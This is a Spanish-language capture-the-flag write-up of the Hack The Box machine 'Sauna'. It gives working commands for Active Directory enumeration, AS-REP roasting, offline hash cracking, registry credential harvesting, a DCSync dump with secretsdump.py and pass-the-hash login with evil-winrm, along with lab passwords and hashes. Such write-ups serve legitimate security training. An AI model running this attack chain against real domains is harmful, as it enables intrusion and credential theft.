Sauna Writeup

Enumeración

Scan de puertos con nmap:

Reconocimiento inicial de puertos:

nmap -n -Pn -sV -sS -p- --open -vvv --min-rate 5000 10.10.10.175 -oN portScan.txt
Sauna


En el resultado del escaneo se pueden encontrar algunos servicios que vale la pena enumerar un poco más. Para eso, inicialmente se puede utilizar nmap con la opción -sC para ejecutar los scripts por defecto.

nmap -n -Pn -sC -p53,80,88,139,445,389,5985 10.10.10.175

El resultado no entrega mucha información, pero se puede confirmar que se trata de un servicio SMBv2 y que, al encontrarse usando firmas, no es posible realizar un ataque NTLM Relay ni es vulnerable a EternalBlue.

Sauna


Enumeración SMB:

Intento de realizar una NULL session y enumerar contenido:

Sauna


Con netexec, sucesor de crackmapexec, podemos enumerar un poco más, obteniendo el sistema operativo en uso, además de información previamente obtenida en el escaneo con scripts de nmap

nxc smb 10.10.10.175
Sauna


Enumeración RPC:

Realizando una Null Session con rpc, pero no es posible obtener informacion

rpcclient -U "" -N 10.10.10.175
Sauna


Enumeración LDAP:

Login anónimo con ldapsearch

ldapsearch -x -H ldap://10.10.10.175 -b "DC=EGOTISTICAL-BANK,DC=LOCAL"

Se encuentra el nombre de un usuario el cual puede ser parte del dominio:

Sauna


Enumeración servicio web:

Para realizar un escaneo web siempre es útil apoyarse en la extensión de navegador Wappalyzer y en la herramienta de consola whatweb. Durante la enumeración de directorios no se reveló nada interesante como un login de administrador u otros recursos.

gobuster dir -u http://10.10.10.175 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php,asp,aspx -t 20

En la página web, dentro del apartado about.html, encontramos algo interesante: se mencionan diferentes nombres. En uno de ellos se nota similitud con el usuario Fergus Smith, parecido a Hugo Smit

Sauna


Esto abre la posibilidad de que los nombres de personas encontradas correspondan a usuarios activos en el dominio. Si se logran enumerar, podremos validar la existencia de cuentas que no requieran Pre-Autenticación en el servicio Kerberos, lo que nos proporcionaría un hash crackeable para obtener la contraseña con herramientas como john o hashcat.

También se podría realizar fuerza bruta sobre el servicio WinRM.

Antes de eso, se debe tener en cuenta cómo suelen estar compuestos los nombres de usuario en Active Directory. Generalmente, los formatos son:

  • Inicial nombre + Apellido.
  • Nombre completo + Inicial apellido.
  • Nombre completo sin espacios.
  • Nombre completo abreviado con algún carácter como: . - _

Se crea una lista de usuarios posibles con dichas variantes.

fsmith
scoins
hbear
btaylor
sdriver
skerb
ferguss
shaunc
hugob
bowiet
sophied
stevenk
fergussmith
shauncoins
hugobear
bowietaylor
sophiedriver
stevenkerb
fergus-smith
shaun-coins
hugo-bear
bowie-taylor
sophie-driver
steven-kerb
fergus.smith
shaun.coins
hugo.bear
bowie.taylor
sophie.driver
steven.kerb
fergus_smith
shaun_coins
hugo_bear
bowie_taylor
sophie_driver
steven_kerb

Explotación:

Para realizar un ataque AS-REPRoasting se pueden emplear las siguientes herramientas:

kerbrute userenum --dc 10.10.10.175 -d EGOTISTICAL-BANK.LOCAL user2.txt
Sauna


Con la herramienta GetNPUsers.py se puede lograr el mismo objetivo, incluso mejor, ya que valida usuarios y verifica si alguno puede obtener un ticket sin preautenticación.
Si la opción “Do not require Kerberos preauthentication” está habilitada en la cuenta de un usuario, cualquiera puede pedir un AS-REP (Authentication Service Response) sin conocer la contraseña y obtener el hash correspondiente.

GetNPUsers.py EGOTISTICAL-BANK.LOCAL/ -dc-ip 10.10.10.175 -usersfile /home/duke/Desktop/htb/Active_Directory/Sauna/user2.txt -no-pass

Se obtiene un hash del usuario fsmith.

$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:fb3988577fcb233d14e9fe45a6e755d5$6b0aaf8e089e8c3485531d58368f8def07a7fc25962304fd089a2ab048eec024a52e50b5a6ba4f8f51b183187eb7c152d0781e03a0b33fef9512e2eb5ee7904b063dcfc5d5192388bc43031748a17f11a1619ac3e543ff4dc475f8b69e2e4119b81b9d38b7ca9b85c576394418f4e5bf8e4fc23207d6db04d745b65ce073266c2a9794cb12a5b97bb1a4c3cbdbca511f9aff9edb0b9297103d24d58116e19d380c943567b49ac3e1913ceeeb8d204d05c786e4702da8fec64b0ca99b773378469b853f41774b6427964801db9d2fec91b2826af53d532905ebde29a412c951ce1a33958a4327102ae3d2f1483092b4476866a3aa2f46e8db1afb23e59474f643

Este hash puede crackearse de manera offline con hashcat o john.

john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
hashcat -m 18200 hash.txt /usr/share/wordlists/rockyou.txt --forc

La contraseña obtenida en texto plano para fsmith es:

Thestrokes23

Al enumerar recursos compartidos mediante SMB, el usuario no tiene acceso a nada valioso. Lo mismo ocurre con el usuario hsmith, que además posee las mismas credenciales que fsmith.

Sauna


Sin embargo, solo fsmith puede iniciar sesión mediante WinRM, ya que probablemente hsmith no pertenece al grupo Remote Management Users.

evil-winrm -i 10.10.10.175 -u fsmith -p Thestrokes23

Post explotación:

Al ingresar y comenzar el procesos de enumeración encontramos que en el dominio se encuentran los siguientes usuarios disponibles:

net user
Sauna


Se evidencia que existe una cuenta destinada a administrar algún tipo de servicio, por su nombre.

Después de enumerar el Winlogon donde pueden almacenar credenciales en el registro de Windows sobre todo si se encuentra el AutoAdminLogon.

Con el siguiente comando se puede obtener la información del WinLogon o también con la herramienta WinPeas.

reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System"
Sauna


Al intentar realizar login con dicho usuario svc_loanmgr y el password Moneymakestheworldgoround! obtenemos el login.

Durante la enumeración de los permisos del usuario a nivel de sistema no se encuentra nada relevante, pero cuando enumeramos las listas de control de acceso (ACLs) configuradas en el objeto raíz del dominio. Esto me permitirá identificar qué usuarios o grupos tienen permisos especiales dentro del Dominio para nuestro usuario actual.

dsacls "DC=EGOTISTICAL-BANK,DC=LOCAL" | findstr "svc_loanmgr"

Encontramos que el usuario cuenta con los siguientes permisos:

Allow EGOTISTICALBANK\svc_loanmgr     SPECIAL ACCESS
Allow EGOTISTICALBANK\svc_loanmgr     Replicating Directory Changes
Allow EGOTISTICALBANK\svc_loanmgr     Replicating Directory Changes All

Dichos permiten realizar un DCSync attack el cual es una técnica en la que un atacante imita el comportamiento de un Domain Controller (DC) y solicita a otro DC que le envíe información sensible del dominio, como hashes de contraseñas de usuarios.

Esto nos permitirá obtener la SAM del sistema mediante herramientas como secretsdump.py o mimikatz.

secretsdump.py EGOTISTICAL-BANK.LOCAL/svc_loanmgr@10.10.10.175
Sauna


Finalmente obtenemos el hash del usuario administrador, con este hash NTLM podremos intentar romperlo con un ataque de diccionario o realizar un Pass the Hash mediante WinRM y ganar acceso al sistema.

aad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf86c7f98e

Pass the hash:

Con el siguiente comando podemos hacer login con el hash NTLM y finalmente obtener acceso como el usuario administrador:

evil-winrm -i 10.10.10.175 -u administrator -H 823452073d75b9d1cf70ebdf86c7f98e